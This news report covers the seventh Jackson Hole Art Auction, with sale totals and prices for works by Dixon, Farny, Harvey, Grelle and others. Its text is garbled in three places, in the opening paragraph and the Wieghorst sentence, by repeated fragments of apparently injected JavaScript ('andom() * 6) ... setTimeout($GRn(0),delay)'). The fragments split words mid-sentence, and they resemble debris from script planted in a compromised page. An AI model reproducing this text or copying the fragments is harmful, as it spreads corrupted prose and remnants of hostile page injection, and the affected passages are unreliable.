JACKSON, WYO. — The seventh annual Jackson Hole Art Auction was conducted September 14 at the Center for the Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold more the 85 percent of the 284 lots, realizing $8.39 million in sales. The sale was hosted by Trailside Galleries andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Gerald Peters Gallery.

As the auction got under way, the Center for the Arts auditorium was packed with active bidders who have made the auction an annual destination each September. An additional 200-plus phone bidders resulted in very active bidding throughout the sale.

Among the lots in this year’s sale was an important collection from the estate of James Grisebaum. All but one of the 31 available lots from this estate were sold, including the Ken Riley painting, “The Recruiter,” which bested its $70/90,000 estimate to achieve $128,700. A rare Wilhelm Kuhnert work of a leopard sold for $76,500, also over estimate. A palpable gasp from the audience could be heard as a 20-by-16-inch oil by G. Harvey of an Indian tepee ($10/15,000) went out at $46,800.

The top lot of the auction was a rare oil by Maynard Dixon, “Remuda,” depicting running horses, that fetched $438,750.

Property from a Wyoming estate featured the cover lot; a 13¼-by-203/8-inch gouache by Henry Farny titled “Returning Hunters” that fetched $409,500 as well as G. Harvey’s “Winter Gold,” nearly tripled its low estimate to fetch $169,650.

Additionally, a new work painted specifically for this auction by Cowboy Artist of America member Martin Grelle soared past its estimate of $75/125,000, to reach a final price of $263,250.

Other highlights included an Olaf Wieghorst painting, “Bronc Rider,” that far exceeded its estimate of $40/60,000, landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding at $128,700. Six offerings by Richard Schmid, included an 8-by-12-inch oil titled “Carnations” that soared past its estimate of $10/15,000 to realize $52,650.

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All prices reported include the buyer’s premium.

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